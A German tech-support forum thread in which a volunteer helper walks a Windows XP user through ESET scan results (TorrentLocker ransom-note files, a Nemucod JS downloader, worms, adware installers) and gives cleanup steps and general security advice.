sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Grind Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Harp Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Harpsi Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Mallet Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Piano Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Puff Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Scrape Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Strat Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Strat Mute Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Strings Pizzicato Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Synpick Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Thump Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Tick Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Violin Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Xylophone Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\2x2\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\2x4\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Adamantine\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Ahhscillate\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\B3P0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Bigbuzz\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Chowbella\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Clusters\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Evenness\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Eventuality\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Fugue\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Humana\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Hybrid\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Larynx\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Littlevoice\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Metalurgic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Oddness\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Odysseus\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Organic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Prime\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Sawtoothy\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Sine\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Sine+1\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Squared\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Harmonic\Uberbell\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Spectral\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Drums\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Drums\Cymbal\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Drums\Kick\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Drums\Percussion\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Drums\Snare\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Drums\Tom\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Strings\Cello Solo Legato\wie_zum_Wiederherstellen_von_Dateien.html"

sh=B62D9C499F078AC96E330CFD54E82E16BECCFDE7 ft=1 fh=bbac5776d6e44a34 vn="Variante von Win32/DownloadSponsor.C evtl. unerwÃ¼nschte Anwendung" ac=I fn="J:\JAVA Fernkurs\sw\MySQL - CHIP-Installer.exe"

Fragerin

18.08.2016 15:56

Das Log ist unvollständig.
Die html-Datei vom Cryptolocker ist in jedem Ordner, das kann lang werden.

Du kannst das Log ausnahmsweise zippen und anhängen, oder auch bei Pastebin.com - #1 paste tool since 2002! hochladen und mir den Link mitteilen.

Funktioniert denn der USB-Stick wieder normal?

jazzerin

18.08.2016 16:30

Soll ich eventuell nocheinmal den ESET Suchlauf machen?
Denn das log.txt war genauso wie ich es geposted habe. Es gab vor dem Beenden von ESET Scanner am Schirm auch noch Infos über "gefundene Bedrohungen". Diese Liste habe ich als ESETlog.txt abgespeichert, siehe .zip-File

Ja, es schaut aus, als ob die USB Sticks wieder normal funktionieren

Fragerin

18.08.2016 18:06

Sorry, war doch das Ganze. Ich antworte dann noch.

Fragerin

18.08.2016 19:42

Hallo Jazzerin,

Das ist alles nicht mehr aktiv. Von der .html-Datei vom Crypto-Locker würde ich mir sogar auf jeden Fall zur Sicherheit mindestens ein Exemplar aufheben.

Schritt 1: Aufräumen

Die Reihenfolge ist hier entscheidend.

Falls Defogger benutzt wurde: Defogger nochmal starten und auf re-enable klicken.
Falls Combofix benutzt wurde: (Alternativ in uninstall.exe umbenennen und starten)
- Windowstaste + R > Combofix /Uninstall (eingeben) > OK
- Alternative: Combofix.exe in uninstall.exe umbenennen und starten
- Combofix wird jetzt starten, sich evtl updaten und dann alle Reste von sich selbst entfernen.
Downloade Dir bitte auf jeden Fall DelFix auf deinen Desktop:
- Schließe alle offenen Programme.
- Starte die delfix.exe mit einem Doppelklick.
- Setze vor jede Funktion ein Häkchen.
- Klicke auf Start.
- Hinweis: DelFix entfernt u. a. alle verwendeten Programme, die Quarantäne unserer Scanner, den Java-Cache und löscht sich abschließend selbst.
- Starte deinen Rechner abschließend neu.
Sollten jetzt noch Programme aus unserer Bereinigung übrig sein kannst du sie bedenkenlos löschen.

Wenn du hier keine weiteren Fragen zum Verhalten deines Systems hast, haben wir alles getan, was wir konnten.
Du hattest ein ganzes Sammelsurium von Malware, die jetzt weg ist.
Allerdings hast du mit Windows XP ein grundsätzliches Problem. Das System wird nicht mehr unterstützt, gefundene Sicherheitslücken werden nicht mehr geschlossen.
Auch von vielen Programmen laufen darauf nur ältere Versionen.
Da kannst du absichern wie du willst, der einzige wirkliche Schutz ist: offline bleiben.
Sonst ist es so, wie wenn du ein Haustürschloss benutzt, zu dem es bekanntermaßen Nachschlüssel gibt. Da kannst du die Fenster vergittern wie du willst, und auch Riegel und Kette an der Tür machen sie nicht wirklich sicher.

Du hast deinen Rechner ja offenbar schon viele Jahre. Das Beste wäre, du kaufst dir einen neuen. Dann hättest du zwei Möglichkeiten:

den alten Rechner verschrotten, den neuen für alles benutzen.
den alten Rechner noch eine Weile offline weiternutzen, den neuen (ein Notebook/Netbook?) fürs Internet. Dateien per Stick übertragen. Unser Fix hat den Rechner so eingestellt, dass er keine Programme vom Stick mehr automatisch startet.

Wenn du dir keinen neuen Computer kaufen kannst, sieht die Sache anders aus.
Dann brauchst du ein anderes Betriebssystem, um sicher ins Netz zu können.
Ich glaube nicht, dass auf deiner Hardware Windows 7 oder 10 laufen würde, aber da müsste man noch genauer wissen, was z.B. für eine RAM-Erweiterung möglich ist und wie die anderen Komponenten aussehen.
Ansonsten könntest du ein schlankes Linux, z.B. Lubuntu oder, wenn das nicht rund läuft, AntiX benutzen.
Du hast viel Software für Bild- und Videobearbeitung - da gibt es für Linux auch einiges an Programmen (Grafik, Video), aber das sind nicht dieselben, da müsstest du dann umlernen und evtl. auch nach bestimmten Funktionen ziemlich suchen.
Überhaupt ist Linux zwar nicht unbedingt kompliziert, aber doch in vielem anders als Windows. Es gibt aber viel Hilfe dazu im Internet, auch auf Deutsch.
Firefox und Chrome dagegen sehen für Linux ziemlich exakt genauso aus wie für Windows und verhalten sich auch so.
Für eine Nutzung mit DualBoot ist deine Festplatte zu klein bzw. zu voll, für eine Virtuelle Maschine hast du zu wenig RAM.

Das würde also bedeuten:

alle persönlichen Daten auf eine externe Festplatte sichern (DER Kauf lohnt sich in jedem Fall), Win XP plattmachen, evtl. RAM und andere Hardwarekomponenten austauschen, und ein neues System aufspielen.

Fragen dazu sind dann aber nicht mehr in diesem Thema zu stellen, sondern in den entsprechenden Unterforen: Netzwerk und Hardware, alles rund um Windows bzw. alles rund um Mac OS/X und Linux etc.

Ich poste dir mal trotzdem meine normalen Abschlusstipps, auch für später, wenn du ein anderes Windows benutzt:

Abschluss: Tipps

*** Antivirus ***

Auf deinem System sollte immer ein Antivirenprogramm mit Hintergrundwächter laufen (mehrere würden sich gegenseitig bekämpfen!).

Wenn du kein Geld dafür ausgeben willst, kannst du einfach Microsoft Security Essentials bzw. Windows Defender benutzen.

Wenn du bereit bist, etwas zu bezahlen, wäre z.B. Emsisoft eine gute Wahl (25% Rabatt für TB-User)

Bedenke aber, dass ein AV-Programm niemals 100% Schutz bietet!
*** Browser ***
- Für sicheres und angenehmes Surfen probiere mal Werbe- und/oder Skriptblocker aus. Als Werbeblocker ist U-Block Origin (für Chrome / für Firefox) effektiv und unaufdringlich.
- Surfe keine illegalen und unseriösen Seiten an, klicke nicht auf Werbelinks.
- Sei vorsichtig mit dem, was du dir aus dem Internet herunterlädst. Ich kenne nur ein sauberes Portal: FilePony. Chip, Softonic und sogar Sourcforge packen in ihren Downloadern Adware dazu. Am besten, du lädst die Software direkt von der Herstellerseite.
  Passe aber trotzdem auf: Manchmal packt auch der Hersteller Adware oder unerwünschte kostenlose Zusatzprogramme mit dazu. Wähle immer die benutzerdefinierte Installation und wähle alles ab, was du nicht brauchst.
*** Mail ***

Öffne E-Mail-Anhänge am besten nur nach Rücksprache mit dem Absender. Alles andere kannst du gleich löschen oder, wenn du neugierig bist, lässt du es eine Woche liegen (ohne Öffnen, wohlgemerkt) und lässt es dann (immer noch ungeöffnet) bei virustotal.com überprüfen. Dort kannst du übrigens auch Downloads prüfen.

Klicke auch nicht auf einen Link in einer Mail, von der du nicht absolut sicher bist, wer der wirkliche Absender ist. Ignoriere angebliche Warnungen von Dienstleistern, bei denen du ein Online-Konto hast und angeblich deine Zugangsdaten neu eingeben musst. Diese Masche nennt sich "Phishing" und wird von Betrügern benutzt, um dein Passwort zu bekommen.
*** Updates ***

Halte dein System immer auf dem neuesten Stand. Es werden ständig Sicherheitslücken im System und in Programmen gefunden und geschlossen. Besonders wichtig sind:
- Windows selbst. Spiele zeitnah alle Updates und Servicepacks ein.
- Natürlich das Antivirenprogramm.
- Dein Browser.
- Der Internet Explorer, auch wenn du nicht damit surfst. Er wird vom System benutzt.
Und noch drei Programme, bei denen du auch sehr auf die Aktualität aufpassen musst oder aber auch gucken kannst, ob du ohne auskommst:
- Java wird heute nur noch selten benötigt. Auch das Java-Plugin im Browser sollte immer deaktiviert sein. Du wirst sehen, JavaScript funktioniert trotzdem!
- Adobe Reader sollte möglichst durch andere PDF-Betrachter wie PDF-XChange Viewer - Download - Filepony ersetzt werden.
- Adobe Flash Player Plugin. Wenn du Google Chrome als Browser nutzt, hast du das Problem nicht. YouTube-Videos lassen sich auch sonst mit HTML5 abspielen.

Wenn du keine konkreten Fragen dazu mehr hast, wünsche ich dir noch ein angenehmes und malwarefreies Surfen!
Du kannst uns noch etwas spenden oder hier Lob oder Kritik äußern. Andere Fragen sind in den entsprechenden Forenbereichen immer willkommen.

jazzerin

19.08.2016 07:48

Zum Bereinigen hätte ich noch eine Frage - werden die zuletzt gefundenen Kandidaten im ESET-log denn mit dem Delfix Tool gelöscht? Da ich mich ja von Combofix davor trennen soll, interessiert mich das noch.
Die Tipps sind sehr wertvoll und ich werde in mich gehen und schauen, wie ich das System sicherer betreiben kann. Linux gefiele mir eh am besten und habe ich schon Grundkenntnisse, auch im bash. Jedoch laufen dann einige, teuer gekaufte Win-Lizenzen nicht mehr und mein Budget ist ohnedies auf null seit ich arbeitslos bin. Für Euch eine Spende muss aber drinnensein!
Lg Julie

Fragerin

19.08.2016 09:35

Was übrig bleibt, sind die "Rechnung" und ein paar Programme in Download-Ordnern und auf dem Stick.

Code:

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\büro\TELEKOM\2016\A1.NET_rechnung.js        JS/TrojanDownloader.Nemucod.ARD Trojaner

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\büro\TELEKOM\2016\A1.NET_rechnung.zip        JS/TrojanDownloader.Nemucod.ARD Trojaner

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\asim.exe        Mehrere Bedrohungen

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\installer_adobe_photoshop.exe        Win32/Toggle evtl. unerwünschte Anwendung

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\MySQL - CHIP-Installer.exe        Variante von Win32/DownloadSponsor.C evtl. unerwünschte Anwendung

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\PC safety\IObit-Malware-Fighter-Setup.exe        Variante von Win32/Toolbar.Widgi.N evtl. unerwünschte Anwendung

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\CloneDVD - CHIP-Installer.exe        Variante von Win32/DownloadSponsor.C evtl. unerwünschte Anwendung

C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\SoftonicDownloader_fuer_windows-xp-service-pack.exe        Win32/SoftonicDownloader.E evtl. unerwünschte Anwendung
 

E:\Dagmar\USB bckup\4gImO0cEqS4YAmO0cEqKwYAm22e8kU6 8kMyS4w.Ae0        Variante von Win32/Bundpil.DJ.gen Wurm

E:\Dagmar\USB bckup\QmGsEia wAmW8cMqaCwQuW8sMqaCgQ2W8.8sUqaCYGcCg2eGcEaCwImO8cqS4YAmOsU6iCoIuGsUya4YAeO0cqS4QO        Variante von Win32/Bundpil.DJ.gen Wurm

E:\download\info.hda        Win32/Bagle.X Wurm
 

J:\JAVA Fernkurs\sw\MySQL - CHIP-Installer.exe        Variante von Win32/DownloadSponsor.C evtl. unerwünschte Anwendung

Das kannst du im Grunde von Hand ausmisten.
Wenn du diese .html-Datei vom Cryptolocker auch aus den Ordnern entfernen willst, kannst du auch noch mal ESET laufen lassen und diesmal das Löschen erlauben.
Aber zum Daten sichern vor einer Linux-Installation reicht es allemal auch so, wie es ist. Da ist wie gesagt nichts Böses mehr aktiv am Laufen.

Zitat:

Linux gefiele mir eh am besten und habe ich schon Grundkenntnisse, auch im bash. Jedoch laufen dann einige, teuer gekaufte Win-Lizenzen nicht mehr

Falls du unter Linux kostenlose Alternativen findest, die das Gleiche machen, würde ich da keinen Hinderungsgrund sehen. Dass du bezahlt hast, verpflichtet DICH doch zu nichts.

Fragerin

19.08.2016 20:05

Dann werde ich dieses Thema jetzt aus meinen aktiven Themen löschen, da wir mit der Bereinigung hier fertig sind :abklatsch:. Bei Fragen bitte einen neuen Thread aufmachen.

Alle Zeitangaben in WEZ +1. Es ist jetzt 14:39 Uhr.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58